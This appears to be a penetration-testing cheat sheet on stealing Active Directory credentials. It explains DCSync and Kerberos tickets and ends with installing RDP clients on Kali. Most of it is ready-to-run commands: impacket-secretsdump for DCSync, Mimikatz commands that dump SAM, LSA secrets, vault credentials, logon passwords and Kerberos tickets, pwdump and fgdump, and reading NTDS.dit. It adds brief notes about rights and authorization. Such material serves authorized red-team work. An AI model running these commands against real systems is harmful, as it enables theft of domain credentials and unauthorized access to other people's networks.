AD Authentication

Replicate one account only after confirming domain replication rights

DCSync requires effective directory replication rights on the domain naming context, commonly DS-Replication-Get-Changes and DS-Replication-Get-Changes-All; filtered attributes may require the filtered-set right. Local administrator on a member server alone is insufficient. Validate the trustee and scope through object ACLs first.

impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP 'DOMAIN/USER@DC_HOST'

The credential prompt is for the caller USER; TARGET_USER is the selected account to replicate. Requires reachable DC RPC/DRSUAPI endpoints and a working domain identity. A returned account NT hash is credential material, not an interactive logon; continue with credential context and access checks. Access denied calls for rights/context verification, not a broad dump or a DC password reset. Impacket options and replication-rights procedure.

Dumping NTLM Hashes and Plaintext Credentials

NTLM authenticates through a challenge/response derived from account key material; the response is not the NT hash itself. Local accounts can be validated by the destination and domain accounts by the applicable domain authentication path.

Dumping LM/NTLM hashes with Mimikatz

• Full Mimikatz Guide
• Local credential/LSASS access requires the relevant elevated token, enabled privileges and an accessible process/store. Administrator membership alone does not bypass integrity, protected-process or Credential Guard restrictions.

# request the debug privilege / attempt permitted token impersonation; verify the result


mimikatz > privilege::debug
mimikatz > token::elevate

# dump NTLM hashes + plaintext creds
mimikatz.exe lsadump::secrets "vault::cred /patch" lsadump::sam
mimikatz > lsadump::secrets
mimikatz > vault::cred /patch
mimikatz > lsadump::sam              # dump contents of SAM db in current host
mimikatz > sekurlsa::logonpasswords  # dump creds of logged-on users

Other tools

cmd> pwdump.exe localhost
cmd> fgdump.exe localhost          # improved pwdump, shutdown firewalls 
cmd> type C:\Windows\NTDS\NTDS.dit # all domain hashes in NTDS.dit file on the Domain Controller

Dumping Kerberos Tickets

Kerberos authentication uses a ticketing system, where a Ticket Granting Ticket (TGT) is issued by the Domain Controller (with the role of Key Distribution Center (KDC)) and is used to request tickets from the Ticket Granting Service (TGS) for access to resources/systems joined to the domain.

• Hashes are stored in the Local Security Authority Subsystem Service (LSASS).
• LSASS process runs as SYSTEM, so we need SYSTEM / local admin to dump hashes stored on target.

Current-logon ticket inspection/export, inside a reviewed Mimikatz build:

kerberos::list /export

This does not inherently require reading other logon sessions. For deliberately authorized elevated access to LSASS tickets:

privilege::debug
sekurlsa::tickets /export

A successful debug-privilege request is not automatically SYSTEM access or a bypass of process protection. Ticket exports retain principal, TGT/TGS type, target SPN, lifetime and encryption; plaintext passwords are not guaranteed to be present. Continue with the ticket import/cache procedure, then verify the destination's permitted operation.

Prepare tools used on this page

Use the shared Kali workspace preparation first. Optional tools are not additional mandatory passes. Skip a clone when its reviewed checkout already exists.

sudo apt install freerdp3-x11

xfreerdp3 /version

sudo apt install remmina

remmina --version